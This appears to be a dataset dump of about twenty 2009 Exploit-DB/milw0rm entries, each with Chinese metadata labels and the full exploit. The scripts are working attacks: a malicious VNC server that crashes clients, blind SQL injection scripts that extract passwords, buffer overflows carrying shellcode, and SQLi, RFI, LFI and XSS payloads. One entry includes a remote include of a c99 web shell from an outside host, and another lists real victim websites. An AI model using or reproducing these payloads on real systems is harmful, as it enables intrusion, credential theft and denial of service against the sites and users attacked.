QLWD/code_shield huggingface dataset:
标题: UltraVNC/TightVNC (Multiple VNC Clients) - Multiple Integer Overflows (PoC) EDB-ID: 7990 CVE: 2009-0388 类型: DOS 平台: WINDOWS 发布日期: 2009-02-04 漏洞利用脚本: #!/usr/bin/env python
# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568
#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
  print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)"

  clientsocket, clientaddres = serversocket.accept()
  
  data = 'RFB 003.003\n'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)
  print data_cli

  data = '\x00'
  clientsocket.sendall(data)

  data = '\x00\x00\x00\x75'
  clientsocket.sendall(data)
  data = '\x00' * int(0xffffff)

  clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7990
标题: YapBB 1.2 - 'forumID' Blind SQL Injection EDB-ID: 7984 CVE: 2009-0768 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-04 漏洞利用脚本: --+++======================================================+++--
--+++====== YapBB <= 1.2 Blind SQL Injection Exploit ======+++--
--+++======================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage
{
 die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
     "\n[?] Author  : darkjoker".
     "\n[?] Site    : http://darkjoker.net23.net".
     "\n[?] CMS Site: http://yapbb.sourceforge.net/".
     "\n[?] Usage   : perl ${0} <hostname> <path> <username> [<key_list>]".
     "\n[?] Ex.     : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
     "\n\n";
}

sub query
{
 my ($user, $chr, $pos) = @_;
 my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
 "forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)";
 $query =~ s/ /%20/g;
 $query =~ s/'/%27/g;
 return $query;
}

sub exploit
{
 my ($hostname, $path, $user, $chr, $pos) = @_;
 $chr = ord ($chr);
 my $sock = new IO::Socket::INET (
      PeerHost => $hostname,
      PeerPort => 80,
      Proto    => "tcp"
     ) or die "\n[!] Exploit failed.\n\n";

 my $query = query ($user, $chr, $pos);
 my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
        "Host: ${hostname}\r\n".
        "Connection: Close\r\n\r\n";
 
 my $a = time ();
 print $sock $request;
 $_++ while (<$sock>);
 $a = ($a - time ()) * -1;
 close ($sock);

 return 1 if ($a > 4);
 return 0;
}
  
my ($hostname, $path, $user, $k_list) = @ARGV;
usage unless ($user);
my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
my $chr = 0;
my $pos = 1;
my $password;
while ($chr < scalar (@key))
{
 if (exploit ($hostname, $path, $user, $key [$chr], $pos))
 {
  $password .= $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
 {
  $chr++;
 }
}

print "\n[+] Password: ${password}\n\n";

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7984
标题: team 1.x - File Disclosure / Cross-Site Scripting EDB-ID: 7982 CVE: 2009-0761 2009-0760 类型: WEBAPPS 平台: ASP 发布日期: 2009-02-04 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Team Board
Version : all version
Google Dork : team5 studio all rights reserved site:cn
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/data/team.mdb
 
[XSS]:
http://site.com/[Path]/online.asp?lookname=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>
---------------------------------
Victem :
http://cinv.vhost021.cn/team
http://sxx.gov.cn/bbs
http://gdemc.gov.cn/bbs
http://bslogistics.cn/bbs
http://qzjd.gov.cn/teams
http://szlhlib.com.cn/cgbbs
http://sh9383.com.cn/digibook
http://www.gsjnrk.gov.cn/team
http://www.sxlcfda.gov.cn/yjlt
---------------------------------------------------------
#########################################################

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7982
标题: Free Download Manager 2.5/3.0 - Authorisation Stack Buffer Overflow (PoC) EDB-ID: 7986 CVE: 2009-0183 类型: DOS 平台: WINDOWS 发布日期: 2009-02-04 漏洞利用脚本: #!usr/bin/perl -w

#######################################################################################
#   Stack-based buffer overflow in Remote Control Server in Free Download Manager
#    (FDM) 2.5 Build 758 and 3.0 Build 844 allows remote attackers to execute
#    arbitrary code via a long Authorization header in an HTTP request.
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0183
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com\
#        Blog:        http://www.darshanams.blogspot.com/
#        Date:      04th February, 2009
#
########Thanx to str0ke,milw0rm, @rp m@n, and all the security folks####################
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Remote Control Server(not domain) FDM: \n");
$vuln_host_ip = <STDIN>;


$sock_http = IO::Socket::INET->new(   PeerAddr => $vuln_host_ip,
                                     PeerPort => 80,
                                     Proto    => 'tcp') || "Unable to create Socket for HTTP Connection";

$mal_buff="D"x3000;

$http_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip\r\n".
"Authorization:$mal_buff\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n\r\n";

print $sock_http $http_attack;

close($sock_http);

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7986
标题: Novell Groupwise 8.0 - 'RCPT' Off-by-One EDB-ID: 7985 CVE: 2009-0410 类型: DOS 平台: WINDOWS 发布日期: 2009-02-04 漏洞利用脚本: #!usr/bin/perl -w

#######################################################################################
###############################QUICK AND DIRTY EXPLOIT#################################
#######################################################################################
#   Off-by-one error in the SMTP daemon in GroupWise Internet Agent (GWIA)
#    in Novell GroupWise 6.5x, 7.0, 7.01, 7.02, 7.03, 7.03HP1a, and 8.0 allows
#    remote attackers to execute arbitrary code via a long e-mail address in a
#    malformed RCPT command, leading to a buffer overflow.
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0410
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com\
#         Blog:        http://www.darshanams.blogspot.com/
#        Date:      04th February, 2009
#
########Thanx to str0ke, milw0rm, @rp m@n, an all the security folks####################
########################################################################################


use Net::SMTP;
print "***SMTP module is working fine***\n";


$buff="D" x 1300;
print "Enter Vulnerable Novell GroupWise SMTP Server Domain Name\n";
$smtp_vuln_server_name=<STDIN>;
chop($smtp_vuln_server_name);

$smtp_attack=Net::SMTP->new("$smtp_vuln_server_name");
print"\nEnter your/from mail ID here\n";
$$mail_from=<STDIN>;
chop($mail_from);


print"\nEnter Recepient mail ID\n";
$to_mail_id=<STDIN>;
chop($to_mail_id);

$mal_buffer=$buff.$to_mail_id;

$smtp_attack->mail($mail_from);
$smtp_attack->to($mal_buffer);

$smtp_attack->data();
$smtp_attack->datasend("Attacking...");

$smtp_attack->quit();

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7985
标题: GRBoard 1.8 - Multiple Remote File Inclusions EDB-ID: 7979 CVE: 2009-0444 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-04 漏洞利用脚本: GRBoard 1.8 Remote File Inclusion Vulnerability
bY make0day@gmail.com

/*************************

GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
Here is the details:

**************************/
TEST ON VERSION GRBoard 1.8 
Download : http://sirini.net/v22/?get=grboard
/***************************
Remote File Inclusion Vulnerability

/form_mail.php

include $grboard.'/db_info.php'; //File Include

*************************/

poc:

/theme/179_squarebox_pds_list/view.php?theme=[RFI]
/theme\179_squarebox_minishop_expand\view.php?theme=[RFI]
/theme\179_squarebox_gallery_list_pds\view.php?theme=theme=[RFI]
/theme\179_squarebox_gallery_list\view.php?theme=[RFI]
/theme\179_squarebox_gallery\view.php?theme=[RFI]
/theme\179_squarebox_board_swfupload\view.php?theme=[RFI]
/theme\179_squarebox_board_expand\view.php?theme=[RFI]
/theme\179_squarebox_board_basic_with_grcode\view.php?theme=[RFI]
/theme\179_squarebox_board_basic\view.php?theme=[RFI]
/theme\179_simplebar_pds_list\view.php?theme=[RFI]
/theme\179_simplebar_notice\view.php?theme=[RFI]
/theme\179_simplebar_gallery_list_pds\view.php?theme=[RFI]
/theme\179_simplebar_gallery\view.php?theme=[RFI]
/theme\179_simplebar_basic\view.php?theme=[RFI]
/latest/sirini_gallery_latest/list.php?path=[RFI]
/include.php?grboard=[RFI]

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7979
标题: Jaws 0.8.8 - Multiple Local File Inclusions EDB-ID: 7976 CVE: 2009-0645 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-04 漏洞利用脚本: Jaws 0.8.8 Local File Inclusion

POST /upgrade/index.php
language=../../../../../../../../../../../../etc/passwd%00

POST /install/index.php
language=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
Introduction_complete
use_log

Author notified: Jan 24

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7976
标题: Syntax Desktop 2.7 - 'synTarget' Local File Inclusion EDB-ID: 7977 CVE: 2009-0448 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-04 漏洞利用脚本: -----------------:local File Include:-----------------
  -------------------------------------------------------
script: syntax-desktop 2-7
   
------------------------------------------------------------------
download from:http://downloads.sourceforge.net/syntax-desktop/syntax-desktop-2-7.zip?modtime=1215600196&big_mirror=0
   
   
------------------------------------------------------------------
........................................................
vul: /admin/modules/aa/preview.php

line 42 $target=$_GET["synTarget"];
  ob_start();
line 44 include("../../../$target");

-----------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/path/admin/modules/aa/preview.php?synTarget=[Lfi]%00


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7977
标题: Euphonics Audio Player 1.0 - '.pls' Universal Local Buffer Overflow EDB-ID: 7973 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-04 漏洞利用脚本: #!/usr/bin/perl -w
#-----------------------------------------------------------------------------
# Author : Houssamix

# Euphonics Audio Player v1.0 (.pls) Universal Local Buffer Overflow Exploit
# Gr33tz to : str0ke , real-power.net , Legend-spy - stack 

# thx to h4ck3r#47 for the fisrt exploit http://milw0rm.com/exploits/7958
# just the ret adress is changed for make the exploit universal

#-----------------------------------------------------------------------------
my $overflow = "\x41" x 1324;
my $ret = "\xCB\xA3\x0F\x10"; # jmp esp from AdjMmsEng.dll <= universal adress
my $nop = "\x90" x 100 ;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";

my $file="hsmx.pls";

$exploit = $overflow.$ret.$nop.$shellcode;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7973
标题: Technote 7.2 - Remote File Inclusion EDB-ID: 7965 CVE: 2009-0441 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: TECHNOTE 7.2 (08.09.25) Remote File Inclusion Vulnerability
bY make0day@gmail.com

/*************************

TECHNOTE (VERSION 7.2 (08.09.25))is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
Here is the details:

**************************/
TEST ON VERSION TECHNOTE 7.2 (08.09.25)
Download : http://www.technote.co.kr/
/***************************
Remote File Inclusion Vulnerability

/body_default.php

if($GOODS['gs_input']) include "$shop_this_skin_path/2_view_body/include/form_option.php";
//File Include

*************************/

poc:

http://[site]/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=[RFI]

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7965
标题: 4Site CMS 2.6 - Multiple SQL Injections EDB-ID: 7964 CVE: 2009-0646 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: [WSEC-09-002] 4Site CMS <= 2.6 Multiple Remote SQL Injections


Developer site: http://www.4site.ru/

Discovered by D.Mortalov // wsec.ru


1. Auth Bypass

Login: 1'or'1
Password: 1'orâ€™1


2. Multiple Remote SQL Injections in 4site CMS modules

"Pages" module:
http://vulnerable.site/print/print.shtml?page=-1+union+select+1

"Portfolio" module:
http://vulnerable.site/portfolio/index.shtml?s=1&i=-1+union+select+1,2,3,4,5,6,7,8,9
http://vulnerable.site/portfolio/index.shtml?s=-1+union+select+1

"Hotels" module:
http://vulnerable.site/hotel/?h=-1+union+select+1

"News" module:
http://vulnerable.site/news/news1.shtml?id=-1+union+select+1,2,3,4

"FAQ" module:
http://vulnerable.site/faq/index.shtml?th=-1+union+select+1

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7964
标题: Flatnux 2009-01-27 - Remote File Inclusion EDB-ID: 7969 CVE: 2009-0572 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: @ flatnux Flatnux-2009-01-27 RFI
  zaleÅ¼noÅ›ci P 
  + Alfons Luja 
  + 2009 
  + grts : All friends
  
  
  VULN : 
       +++ include/theme.php
         ... 
        <?php
          if (eregi("theme.php", $_SERVER['PHP_SELF']))
      die();                         // 0 <-- I dont give a fuck 
 

             global $theme, $_FNROOTPATH,$lang;   //<-- 1 
             global $forumback, $forumborder;       
             $_FN['table_background']=&$forumback;
             $_FN['table_border']=&$forumborder;


             if ($forumback=="" && $forumborder==""){
         $forumback="ffffff";
         $forumborder="000000";
                }
                require_once ($_FNROOTPATH . "themes/$theme/theme.php");

             /*------- Funzioni ridefinibili da theme.php--------------*/
         //......
      +++ /flatnux.php line 116:
            
           //$_FNROOTPATH Still dont have value 
           include_once "./include/theme.php";   //-- 2
          
      +++ /filemanager.php 
          include "./include/flatnux.php"; // -- RFI

  p0c:
     http://localhost/~flatnux/index.php?_FNROOTPATH=[EVIL]%00    
     http://localhost/~flatnux/filemanager.php?mod=&op=&dir=/&opmod=newfile&filemanager_editor=tfuj_stary&_FNROOTPATH=[EVIl]%OO
     ... itd ...

  --http://www.wrzuta.pl/audio/xLyg0zckZS/--
  #EÅOF lol

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7969
标题: Euphonics Audio Player 1.0 (Windows XP SP3) - '.pls' Local Buffer Overflow EDB-ID: 7974 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-04 漏洞利用脚本: #include <stdio.h>
#include <windows.h>
#include <string.h>
#define overflow 1324
#define NOP 0x90
#define pls "Eye.pls"

int main (int argc,char **argv)
{
char winsp3[] = "\x7B\x46\x86\x7C";
char buffer[overflow];
FILE *Player;

unsigned char shellcode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xec"
"\x96\x7d\xb2\x83\xeb\xfc\xe2\xf4\x10\x7e\x39\xb2\xec\x96\xf6\xf7"
"\xd0\x1d\x01\xb7\x94\x97\x92\x39\xa3\x8e\xf6\xed\xcc\x97\x96\xfb"
"\x67\xa2\xf6\xb3\x02\xa7\xbd\x2b\x40\x12\xbd\xc6\xeb\x57\xb7\xbf"
"\xed\x54\x96\x46\xd7\xc2\x59\xb6\x99\x73\xf6\xed\xc8\x97\x96\xd4"
"\x67\x9a\x36\x39\xb3\x8a\x7c\x59\x67\x8a\xf6\xb3\x07\x1f\x21\x96"
"\xe8\x55\x4c\x72\x88\x1d\x3d\x82\x69\x56\x05\xbe\x67\xd6\x71\x39"
"\x9c\x8a\xd0\x39\x84\x9e\x96\xbb\x67\x16\xcd\xb2\xec\x96\xf6\xda"
"\xd0\xc9\x4c\x44\x8c\xc0\xf4\x4a\x6f\x56\x06\xe2\x84\x66\xf7\xb6"
"\xb3\xfe\xe5\x4c\x66\x98\x2a\x4d\x0b\xf5\x1c\xde\x8f\xb8\x18\xca"
"\x89\x96\x7d\xb2";

printf("\n******************************************");
printf("\n* THIS BUG ORGINAL DISCOVER BY h4ck3r#47 *");
printf("\n* THIS BUG C0DED BY SINGLE EYE           *");
printf("\n* SPECIAL THANKS TO STR0KE               *");
printf("\n******************************************");
memset(buffer,NOP,overflow);
memcpy(buffer,shellcode,sizeof(shellcode)-1);
buffer[overflow] = 0;
Player = fopen(pls,"w+");
fwrite(Player,sizeof(unsigned char),sizeof(buffer),Player);
fclose(Player);
printf("\n DOne Poc !!");
return 0;
}

// milw0rm.com [2009-02-04] URL: https://www.exploit-db.com/exploits/7974
标题: DreamPics Photo/Video Gallery - Blind SQL Injection EDB-ID: 7968 CVE: 2009-0445 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                DREAMPICS Photo/Video Gallery Blind SQL Injection Exploit
#
#                      ---->>>> xoron <<<<<-----
#                           xorontr@gmail.com
#                            XORON (c) 2009
#
#  WARNING!: php xoron.php "http://www.xoronk1ng./[PATH]/index.php?fuseaction=gallery.viewPhotos&exhibition_id=13"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_login+from+users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_password+from+users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+user_password+from+users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7968
标题: MyDesing Sayac 2.0 - Authentication Bypass EDB-ID: 7963 CVE: 2009-0447 类型: WEBAPPS 平台: ASP 发布日期: 2009-02-03 漏洞利用脚本: #############################################
#---- BY KACAK FROM TERRORÄ°ST CREW        ----#
#############################################

[~]Author : Kacak

[~]Team : Terrorist Crew / Peace Crew

[~]Contact : BuqX@hotmail.Com

[~] Hava Serin Mevzu Derin :D

#############################################

[~]Script :MyDesing Sayac v2.0

[~]Site :http://www.mydesign.gen.tr/myforum/forum_posts.asp?TID=90

[~]Download :http://www.aspindir.com/goster/2801

[~] Vulnerability : (Auth Bypass) Sql Ä°njection

#############################################

  ~ Exploit ~

www.site.com/admin/admin.asp

www.site.com/PATH/admin

UserName : 'or'

Pass : 'or'


#############################################

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7963
标题: groone's Guestbook 2.0 - Remote File Inclusion EDB-ID: 7955 CVE: 2009-0464 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-03 漏洞利用脚本: #########################################################
# GBOOK v2.0 Remote File Include Vulnerability
# http://www.groonesworld.com/programs/gbook/gbook.zip
#
#========================================================
# Author: k3vin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com & scarface-team.org =
# =
# email: kevinmitnick[A]live.fr = web-terrorist@mail.ru
# =
#=========================================================
#
#        bug : <style type="text/css">
#                       <?php include($abspath."css/gstyle.inc");?>
#                </style>
#
#
# exploit   :
#  http://localhost/gbook/includes/header.php?abspath=http://www.evilc0der.com/c99.txt?
#
#
#
##########################################################
>
>  .:: Tunisian Blackhat team work with scarface-team many suprise as soon ::.
>
> ########################( Greetz )###########################
# scarface-team mrabah12R feyiz marw?-neo  samy chelly
# hug, pelo, iskorpitx , ByalBayx crackerz-Team,milw0rm.com
# C4TEAM & c4team.org & snap and all
# tunisian hackers #
#
#
#
> ###########################################################

# milw0rm.com [2009-02-03] URL: https://www.exploit-db.com/exploits/7955